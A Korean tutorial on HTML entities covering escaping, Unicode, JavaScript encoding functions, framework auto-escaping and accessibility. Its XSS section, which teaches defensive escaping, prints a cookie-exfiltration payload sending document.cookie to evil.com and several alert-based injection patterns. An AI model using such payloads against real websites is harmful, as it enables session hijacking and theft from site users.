HTML 특수문자 사용법 — & < 왜 필요하고 어떻게 쓰나요?
HTML 특수문자란?
HTML 문서를 작성하다 보면 꺽쇠 괄호 <나 앰퍼샌드 & 같은 문자를 직접 입력하고 싶을 때가 있습니다. 그런데 이 문자들은 HTML에서 특별한 의미를 가지고 있어서, 그대로 입력하면 브라우저가 HTML 태그나 문자 코드로 잘못 해석할 수 있습니다.
이런 문제를 해결하기 위해 HTML은 **엔티티(Entity)**라는 특수한 표기법을 제공합니다. <처럼 &로 시작하고 ;로 끝나는 형태로, 브라우저가 이것을 만나면 해당하는 문자(여기서는 <)를 화면에 표시합니다.
왜 HTML 엔티티가 필요한가?
이유 1: HTML 문법 충돌 방지
HTML 태그는 <와 >로 감쌉니다. 만약 글에서 “5 < 10”이라고 쓰고 싶은데 <를 그냥 입력하면, 브라우저는 이것을 태그의 시작으로 인식합니다. 그러면 뒤의 텍스트가 깨지거나 예상치 못한 렌더링이 발생합니다.
<!-- 잘못된 예: 브라우저가 <10을 태그로 오해 -->
<p>5 < 10</p>
<!-- 올바른 예 -->
<p>5 < 10</p>
이유 2: 앰퍼샌드(&) 처리
URL 파라미터나 일반 텍스트에서 &를 그대로 쓰면, 브라우저가 HTML 엔티티의 시작으로 인식합니다. 특히 링크 href 속성에서 쿼리스트링에 &가 있을 때 주의해야 합니다.
<!-- 잘못된 예 -->
<a href="search?q=html&lang=ko">검색</a>
<!-- 올바른 예 -->
<a href="search?q=html&lang=ko">검색</a>
이유 3: 키보드로 입력하기 어려운 문자
저작권 기호 ©, 등록 상표 ®, 화폐 기호 €처럼 일반 키보드로 바로 입력하기 어려운 문자도 엔티티로 간단히 입력할 수 있습니다.
자주 쓰는 HTML 엔티티 목록
| 문자 | 엔티티 이름 | 엔티티 숫자 | 설명 |
|---|---|---|---|
& | & | & | 앰퍼샌드 |
< | < | < | 작다 (꺽쇠 열기) |
> | > | > | 크다 (꺽쇠 닫기) |
" | " | " | 큰따옴표 |
' | ' | ' | 작은따옴표 |
| |   | 줄바꿈 없는 공백 |
© | © | © | 저작권 기호 |
® | ® | ® | 등록 상표 |
™ | ™ | ™ | 트레이드마크 |
€ | € | € | 유로 기호 |
£ | £ | £ | 파운드 기호 |
¥ | ¥ | ¥ | 엔/위안 기호 |
× | × | × | 곱하기 기호 |
÷ | ÷ | ÷ | 나누기 기호 |
± | ± | ± | 플러스마이너스 |
— | — | — | 긴 대시 (em dash) |
– | – | – | 짧은 대시 (en dash) |
• | • | • | 불릿 포인트 |
… | … | … | 줄임표 |
« | « | « | 왼쪽 이중 꺽쇠 |
» | » | » | 오른쪽 이중 꺽쇠 |
— 가장 많이 오용되는 엔티티
는 Non-Breaking Space(줄바꿈 없는 공백)의 약자입니다. 일반 공백과 다르게 이 공백에서는 줄바꿈이 일어나지 않습니다. 예를 들어 “10 km”에서 숫자와 단위가 다른 줄로 분리되지 않게 하려면 10 km처럼 씁니다.
그런데 많은 초보자들이 들여쓰기나 여러 칸 공백을 표현하기 위해 를 남발합니다. 이것은 좋은 방법이 아닙니다. 들여쓰기와 간격은 CSS의 padding, margin, text-indent로 처리하는 것이 올바릅니다.
이메일 HTML에서 엔티티 사용
HTML 이메일은 일반 웹 페이지보다 브라우저 지원이 제한적입니다. 이메일 클라이언트(Outlook, Gmail 등)마다 HTML 파싱 방식이 달라서, 엔티티 사용이 더욱 중요합니다.
이메일에서 특히 주의할 점은 다음과 같습니다.
- 이메일 제목에서
&를 쓸 때는 반드시&를 사용하세요. 일부 클라이언트에서 인코딩 문제가 발생합니다. - 특수 기호를 사용할 때는 이름 엔티티보다 숫자 엔티티(
©형태)가 더 안전합니다. 모든 이메일 클라이언트가 이름 엔티티를 완전히 지원하지는 않습니다. - 한국어 이메일에서 큰따옴표가 깨지는 경우
"를 사용하세요.
이름 엔티티 vs 숫자 엔티티
HTML 엔티티는 두 가지 형태로 표현할 수 있습니다.
- 이름 엔티티:
&,<,©— 읽기 쉽고 기억하기 쉬움 - 숫자 엔티티(10진수):
&,<,©— 모든 환경에서 안정적 - 숫자 엔티티(16진수):
&,<,©— 유니코드와 연계 시 유용
일반적인 웹 개발에서는 이름 엔티티가 가독성이 좋습니다. 이메일이나 구형 시스템과 연동할 때는 숫자 엔티티가 더 안전합니다.
유니코드와 HTML 엔티티의 관계
HTML 엔티티의 숫자 표기는 사실 유니코드 코드 포인트를 기반으로 합니다. 예를 들어 저작권 기호 ©의 유니코드 코드 포인트는 U+00A9이고, 이것을 HTML에서 ©(16진수) 또는 ©(10진수)로 쓸 수 있습니다. 즉 HTML 숫자 엔티티는 유니코드를 HTML 문법 안에서 표현하는 방법이라고 이해하면 됩니다.
UTF-8 직접 입력 vs 엔티티 표기
현대 웹에서는 대부분 UTF-8 인코딩을 사용합니다. <meta charset="UTF-8">이 선언되어 있다면, 한글은 물론 ©, €, → 같은 특수문자도 소스 코드에 직접 입력해도 정상적으로 표시됩니다.
<!-- UTF-8 환경에서는 두 가지 모두 동일하게 표시됨 -->
<p>© 2026 QuickToolkit</p>
<p>© 2026 QuickToolkit</p>
그렇다면 언제 엔티티를 쓰고, 언제 직접 입력하는 것이 나을까요?
엔티티를 써야 하는 경우:
<,>,&,"— HTML 문법과 충돌하는 문자는 반드시 엔티티 사용- 파일 인코딩이 UTF-8이 아닌 환경 (레거시 시스템, 일부 이메일 클라이언트)
- 소스 코드에서 해당 문자가 눈에 잘 띄어야 할 때 (예:
는 일반 공백과 구별 가능)
유니코드 직접 입력이 나은 경우:
- UTF-8 환경이 보장된 일반 웹 페이지
- 이모지나 특수 기호를 대량으로 사용하는 경우 (엔티티로 쓰면 가독성이 급격히 떨어짐)
- 한글, 일본어, 중국어 등 비ASCII 텍스트 (당연히 엔티티로 쓸 필요 없음)
코드 포인트 확인 방법
특정 문자의 유니코드 코드 포인트를 확인하려면, 브라우저 개발자 도구 콘솔에서 다음과 같이 입력합니다.
// 문자 → 코드 포인트
'©'.codePointAt(0).toString(16); // "a9"
// 코드 포인트 → 문자
String.fromCodePoint(0xA9); // "©"
이 값을 알면 © 형태로 HTML 엔티티를 직접 만들 수 있습니다.
JavaScript에서 HTML 인코딩/디코딩
웹 애플리케이션을 개발할 때, JavaScript로 HTML 엔티티를 인코딩하거나 디코딩해야 하는 상황이 자주 발생합니다. 사용자 입력을 HTML에 삽입하거나, API에서 받은 HTML 엔티티를 읽기 쉬운 텍스트로 변환할 때가 대표적입니다.
textContent vs innerHTML
가장 기본적이면서도 안전한 방법은 DOM API의 textContent와 innerHTML의 차이를 이용하는 것입니다.
// HTML 인코딩: 특수문자 → 엔티티
function encodeHTML(str) {
const div = document.createElement('div');
div.textContent = str;
return div.innerHTML;
}
encodeHTML('<script>alert("XSS")</script>');
// "<script>alert("XSS")</script>"
textContent에 문자열을 할당하면 브라우저가 모든 특수문자를 자동으로 이스케이프합니다. 그 결과를 innerHTML로 읽으면 엔티티로 변환된 문자열을 얻을 수 있습니다.
// HTML 디코딩: 엔티티 → 원본 문자
function decodeHTML(str) {
const div = document.createElement('div');
div.innerHTML = str;
return div.textContent;
}
decodeHTML('<p>안녕하세요</p>');
// "<p>안녕하세요</p>"
DOMParser 활용
DOM 요소를 직접 생성하는 대신, DOMParser를 사용하는 방법도 있습니다. 특히 Node.js 환경이 아닌 브라우저 환경에서 유용합니다.
function decodeHTMLEntities(str) {
const parser = new DOMParser();
const doc = parser.parseFromString(str, 'text/html');
return doc.documentElement.textContent;
}
decodeHTMLEntities('&copy; 2026 &mdash; QuickToolkit');
// "© 2026 — QuickToolkit"
순수 함수로 인코딩하기
DOM에 의존하지 않는 순수 함수 방식도 있습니다. 서버 사이드(Node.js)에서도 사용할 수 있어 범용적입니다.
function escapeHTML(str) {
const escapeMap = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
};
return str.replace(/[&<>"']/g, (char) => escapeMap[char]);
}
escapeHTML('Tom & Jerry <친구>');
// "Tom & Jerry <친구>"
이 함수는 HTML 삽입 공격을 방지할 때 핵심이 되는 패턴입니다. 5개의 위험 문자(&, <, >, ", ')만 변환하면 대부분의 상황에서 안전합니다.
XSS(크로스 사이트 스크립팅) 방지와 HTML 이스케이프
**XSS(Cross-Site Scripting)**는 웹 보안에서 가장 흔하고 위험한 공격 유형 중 하나입니다. 공격자가 악성 스크립트를 웹 페이지에 주입하여 다른 사용자의 브라우저에서 실행시키는 공격입니다. HTML 엔티티 변환은 XSS를 방지하는 가장 기본적인 방어 수단입니다.
왜 이스케이프가 필수인가
사용자가 입력한 텍스트를 그대로 HTML에 삽입하면 어떤 일이 일어날까요?
// 사용자가 댓글에 입력한 내용
const userInput = '<img src=x onerror="document.location=\'https://evil.com/steal?cookie=\'+document.cookie">';
// 이스케이프 없이 HTML에 삽입 (위험!)
commentDiv.innerHTML = userInput;
// → 이미지 로드 실패 시 쿠키를 탈취하는 스크립트가 실행됨
이것을 엔티티로 이스케이프하면 브라우저는 이 내용을 HTML 태그가 아닌 순수 텍스트로 처리합니다.
// 이스케이프 적용 후
commentDiv.innerHTML = escapeHTML(userInput);
// → "<img src=x onerror=..." 라는 텍스트가 그대로 화면에 표시됨
자주 사용되는 XSS 공격 패턴
실제 공격은 단순한 <script> 태그 삽입보다 훨씬 교묘합니다. 다음은 주의해야 할 대표적인 패턴입니다.
<!-- 1. 이벤트 핸들러를 이용한 공격 -->
<img src="invalid" onerror="alert('XSS')">
<div onmouseover="alert('XSS')">마우스를 올려보세요</div>
<!-- 2. javascript: 프로토콜 -->
<a href="javascript:alert('XSS')">클릭하세요</a>
<!-- 3. 속성값 탈출 -->
<input value="" onfocus="alert('XSS')" autofocus="">
<!-- 4. CSS를 이용한 공격 (구형 브라우저) -->
<div style="background:url(javascript:alert('XSS'))">
이 모든 공격은 사용자 입력이 HTML로 해석되기 때문에 가능합니다. 엔티티 이스케이프를 적용하면 <가 <로 변환되어 태그가 생성되지 않으므로 스크립트 실행이 차단됩니다.
이스케이프해야 하는 위치
HTML 문서에서 사용자 입력이 들어갈 수 있는 모든 위치를 알아야 합니다.
| 삽입 위치 | 예시 | 방어 방법 |
|---|---|---|
| HTML 본문 | <p>사용자 입력</p> | HTML 엔티티 이스케이프 |
| 속성값 | <input value="사용자 입력"> | 엔티티 이스케이프 + 반드시 따옴표로 감싸기 |
| URL | <a href="사용자 입력"> | URL 인코딩 + javascript: 프로토콜 차단 |
| CSS | <div style="사용자 입력"> | 사용자 입력을 CSS에 넣지 않는 것이 최선 |
| JavaScript | <script>var x = '사용자 입력'</script> | JSON.stringify + 추가 이스케이프 |
CSS content 속성에서 특수문자 사용
CSS의 content 속성은 ::before와 ::after 가상 요소에서 텍스트나 기호를 삽입할 때 사용합니다. 이 속성에서는 HTML 엔티티가 아닌 CSS 유니코드 이스케이프 문법을 사용해야 합니다.
CSS 유니코드 이스케이프 문법
CSS에서는 \ 뒤에 유니코드 코드 포인트(16진수)를 붙이는 형태를 사용합니다.
/* 저작권 기호 (U+00A9) */
.copyright::before {
content: "\00A9 ";
}
/* 화살표 기호 (U+2192 →) */
.arrow::after {
content: " \2192";
}
/* 체크 마크 (U+2713 ✓) */
.checked::before {
content: "\2713 ";
color: green;
}
/* 큰따옴표 감싸기 */
blockquote::before {
content: "\201C"; /* " 왼쪽 큰따옴표 */
}
blockquote::after {
content: "\201D"; /* " 오른쪽 큰따옴표 */
}
아이콘 대용으로 활용
외부 아이콘 라이브러리를 로드하지 않고도, 유니코드 기호만으로 간단한 UI 아이콘을 만들 수 있습니다.
/* 외부 링크 표시 */
a[href^="http"]::after {
content: " \2197"; /* ↗ 북동쪽 화살표 */
font-size: 0.8em;
}
/* 필수 입력 표시 */
.required::after {
content: " \2731"; /* ✱ */
color: red;
}
/* 접힌/펼친 상태 표시 */
details summary::before {
content: "\25B6 "; /* ▶ 삼각형 */
}
details[open] summary::before {
content: "\25BC "; /* ▼ 삼각형 */
}
주의할 점은 CSS content로 삽입된 텍스트는 DOM에 포함되지 않습니다. 따라서 사용자가 해당 텍스트를 선택하거나 복사할 수 없고, 스크린리더에서 일관되게 읽히지 않을 수 있습니다. 의미 있는 정보는 HTML에 직접 넣고, 장식적 요소만 CSS content로 처리하는 것이 좋습니다.
React/Vue 등 프레임워크에서의 처리
현대 프론트엔드 프레임워크는 XSS 방지를 위해 기본적으로 자동 이스케이프를 수행합니다. 하지만 동작 방식과 주의사항을 정확히 이해해야 안전한 코드를 작성할 수 있습니다.
React의 자동 이스케이프
React는 JSX에서 {} 안에 넣은 문자열을 자동으로 이스케이프합니다.
function Comment({ text }) {
// text에 "<script>alert('XSS')</script>"가 들어와도 안전
return <p>{text}</p>;
// 렌더링 결과: <p><script>alert('XSS')</script></p>
}
React가 자동으로 처리해주기 때문에, 일반적인 텍스트 표시에서는 개발자가 별도로 이스케이프할 필요가 없습니다.
dangerouslySetInnerHTML
그러나 HTML을 그대로 렌더링해야 하는 경우가 있습니다. 예를 들어 서버에서 받은 리치 텍스트나 마크다운 변환 결과를 표시할 때입니다.
function BlogPost({ htmlContent }) {
// 주의: htmlContent에 악성 스크립트가 있으면 실행됨!
return <div dangerouslySetInnerHTML={{ __html: htmlContent }} />;
}
dangerouslySetInnerHTML은 이름 그대로 위험합니다. 사용할 때는 반드시 다음을 확인하세요.
- 삽입할 HTML이 신뢰할 수 있는 출처(서버 관리자가 작성한 콘텐츠 등)에서 온 것인가?
- 사용자가 입력한 내용이 포함된다면 DOMPurify 같은 살균(sanitize) 라이브러리를 통과시켰는가?
import DOMPurify from 'dompurify';
function SafeHTML({ dirty }) {
const clean = DOMPurify.sanitize(dirty);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
Vue의 자동 이스케이프와 v-html
Vue도 이중 중괄호 {{ }}로 바인딩한 데이터를 자동 이스케이프합니다.
<template>
<!-- 자동 이스케이프: 안전 -->
<p>{{ userComment }}</p>
<!-- v-html: 이스케이프 없이 HTML 삽입 (위험할 수 있음) -->
<div v-html="trustedHTML"></div>
</template>
v-html은 React의 dangerouslySetInnerHTML과 동일한 위험성을 가집니다. 사용자 입력을 v-html에 바인딩하면 XSS 공격에 노출됩니다.
프레임워크가 해주는 것과 개발자가 주의할 것
| 항목 | 프레임워크가 자동 처리 | 개발자가 직접 처리해야 함 |
|---|---|---|
| 텍스트 노드의 특수문자 | O | |
| 속성값의 특수문자 | O | |
innerHTML 직접 삽입 | O (살균 필요) | |
URL 속성 (href, src) | 부분적 | O (javascript: 차단 등) |
| CSS 인라인 스타일 | 부분적 | O (동적 스타일 주의) |
프레임워크를 사용하더라도 **“사용자 입력을 HTML로 해석하지 말라”**는 원칙은 동일합니다. 자동 이스케이프를 우회하는 API(dangerouslySetInnerHTML, v-html)를 사용할 때는 항상 입력값을 검증하세요.
자주 틀리는 HTML 엔티티 실수와 디버깅
HTML 엔티티를 사용하다 보면 생각보다 다양한 실수가 발생합니다. 아래는 실무에서 가장 자주 만나는 문제와 해결 방법입니다.
실수 1: 세미콜론 누락
HTML 엔티티는 반드시 세미콜론(;)으로 끝나야 합니다. 세미콜론이 없으면 브라우저마다 해석이 다를 수 있습니다.
<!-- 잘못된 예: 세미콜론 누락 -->
<p>& Copyright 2026</p>
<!-- 브라우저에 따라 "& Copyright" 또는 "& Copyright"로 표시될 수 있음 -->
<!-- 올바른 예 -->
<p>& Copyright 2026</p>
현대 브라우저는 일부 엔티티(특히 &, < 등)를 세미콜론 없이도 인식하지만, 이것은 오류 복구(error recovery) 동작이지 정상적인 처리가 아닙니다. HTML 유효성 검사기에서 경고가 발생하며, 뒤에 오는 텍스트에 따라 의도치 않은 해석이 일어날 수 있습니다.
실수 2: 대소문자 혼동
이름 엔티티는 대소문자를 구분합니다. &와 &는 같은 결과를 내지만, 모든 엔티티가 그런 것은 아닙니다.
<!-- 대소문자가 다른 엔티티 예시 -->
Ó <!-- Ó (대문자 O에 악센트) -->
ó <!-- ó (소문자 o에 악센트) -->
Σ <!-- Σ (대문자 시그마) -->
σ <!-- σ (소문자 시그마) -->
<!-- 존재하지 않는 엔티티 -->
© <!-- ©가 아님! 브라우저가 인식 못할 수 있음 -->
© <!-- © 올바른 표기 -->
확실하지 않다면 숫자 엔티티(©)를 사용하는 것이 안전합니다.
실수 3: 이중 인코딩
이중 인코딩은 이미 인코딩된 문자열을 다시 인코딩하는 실수입니다. 서버와 클라이언트에서 각각 인코딩을 수행할 때 자주 발생합니다.
원본: Tom & Jerry
1차 인코딩: Tom & Jerry ← 정상
2차 인코딩: Tom &amp; Jerry ← 이중 인코딩!
화면에 표시: Tom & Jerry ← 사용자에게 엔티티 코드가 보임
이중 인코딩이 발생하면 화면에 &이나 < 같은 엔티티 코드가 그대로 노출됩니다. 해결하려면 인코딩이 어느 단계에서 수행되는지 추적하고, 한 곳에서만 인코딩하도록 수정해야 합니다.
브라우저 DevTools로 디버깅하기
HTML 엔티티 관련 문제를 디버깅할 때 브라우저 개발자 도구가 유용합니다.
Elements 패널 확인:
- 문제가 있는 텍스트를 마우스 오른쪽 클릭 → “검사(Inspect)” 선택
- Elements 패널에서 해당 요소의 HTML을 확인
- 엔티티가 올바르게 변환되었는지, 이중 인코딩이 발생했는지 확인
Console에서 확인:
// 특정 요소의 실제 텍스트 확인
document.querySelector('.target').textContent;
// "Tom & Jerry" ← 정상
// HTML 소스 확인
document.querySelector('.target').innerHTML;
// "Tom & Jerry" ← 엔티티 표시
// "Tom &amp; Jerry" ← 이중 인코딩 발견!
네트워크 탭 확인: 서버 응답에서 이미 이중 인코딩된 데이터가 오는 경우도 있습니다. Network 탭에서 응답 본문을 직접 확인하면 문제의 원인 위치를 파악할 수 있습니다.
접근성(Accessibility) 관점의 특수문자
웹 접근성을 고려할 때, 특수문자와 HTML 엔티티가 스크린리더에서 어떻게 처리되는지 이해하는 것이 중요합니다. 시각적으로는 문제없어 보여도, 보조 기술을 사용하는 사용자에게는 혼란을 줄 수 있습니다.
스크린리더가 특수문자를 읽는 방식
스크린리더는 특수문자를 만나면 해당 기호의 이름을 읽어줍니다. 문제는 기호의 종류와 사용 맥락에 따라 읽는 방식이 다르다는 것입니다.
| 문자 | 스크린리더가 읽는 방식 (예시) |
|---|---|
| © | “저작권” 또는 “copyright” |
| → | “오른쪽 화살표” 또는 “right arrow” |
| • | “불릿” 또는 아예 무시 |
| ★ | “검은 별” 또는 “star” |
| — | “대시” 또는 무시 |
| … | ”줄임표” 또는 “점 점 점” |
예를 들어 별점 표시에 ★★★☆☆를 사용하면, 스크린리더는 “검은 별 검은 별 검은 별 흰 별 흰 별”이라고 읽을 수 있습니다. 이것은 정보 전달에 비효율적입니다.
aria-label로 의미 전달
장식 목적이 아닌, 실제 의미를 담고 있는 특수문자에는 aria-label을 사용하여 스크린리더에 명확한 정보를 전달해야 합니다.
<!-- 별점: 시각적 표현 + 접근성 레이블 -->
<span aria-label="5점 만점에 3점">★★★☆☆</span>
<!-- 화살표로 연결된 경로 -->
<span aria-label="홈에서 블로그, 그리고 글 제목 순서">
홈 → 블로그 → 글 제목
</span>
<!-- 가격 할인 표시 -->
<span aria-label="정가 50000원, 할인가 35000원">
<s>₩50,000</s> → ₩35,000
</span>
장식용 특수문자 처리
순수하게 장식 목적으로 사용하는 특수문자는 스크린리더가 읽지 않도록 숨겨야 합니다. aria-hidden="true" 속성을 사용합니다.
<!-- 장식용 구분선 -->
<p aria-hidden="true">✦ ✦ ✦</p>
<!-- 메뉴 항목 앞 장식 아이콘 -->
<li>
<span aria-hidden="true">▸ </span>
설정
</li>
<!-- 카드 배지의 장식 이모지 -->
<span class="badge">
<span aria-hidden="true">🔥 </span>
인기 글
</span>
특수문자 대신 적절한 HTML 요소 사용
가능하다면 특수문자 대신 의미를 가진 HTML 요소를 사용하는 것이 접근성 측면에서 더 좋습니다.
<!-- 나쁜 예: 특수문자로 목록 표현 -->
<p>• 항목 1</p>
<p>• 항목 2</p>
<!-- 좋은 예: 올바른 HTML 목록 요소 -->
<ul>
<li>항목 1</li>
<li>항목 2</li>
</ul>
<!-- 나쁜 예: 특수문자로 구분선 -->
<p>──────────</p>
<!-- 좋은 예: HR 요소 -->
<hr>
<!-- 나쁜 예: 특수문자로 강조 -->
<p>※ 중요한 내용입니다</p>
<!-- 좋은 예: 적절한 HTML + ARIA -->
<p role="note"><strong>중요:</strong> 중요한 내용입니다</p>
접근성을 고려한 특수문자 사용은 결국 **“시각적 표현과 의미 전달을 분리하라”**는 원칙으로 요약됩니다. 눈에 보이는 것과 스크린리더가 읽는 것이 일치하도록 aria-label, aria-hidden, 그리고 시맨틱 HTML 요소를 적절히 활용하세요.
실전 활용 예시
코드 블록에서 HTML 코드 표시
기술 블로그나 문서에서 HTML 코드 자체를 텍스트로 보여줄 때:
<pre><code>
<div class="container">
<p>안녕하세요</p>
</div>
</code></pre>
저작권 표시
<footer>
<p>© 2026 My Company. All rights reserved.</p>
</footer>
가격 표시
<p>가격: €29.99 / £24.99 / ¥3,000</p>
마무리
HTML 엔티티는 처음에는 번거롭게 느껴질 수 있지만, 브라우저 호환성과 HTML 문법 안정성을 위해 꼭 필요한 요소입니다. 특히 &, <, >, " 이 네 가지는 반드시 엔티티로 변환하는 습관을 들이세요.
어떤 특수문자를 엔티티로 변환해야 할지 모르겠다면, HTML 엔티티 도구에서 문자를 검색하거나, HTML 코드를 붙여넣어 자동으로 변환해보세요.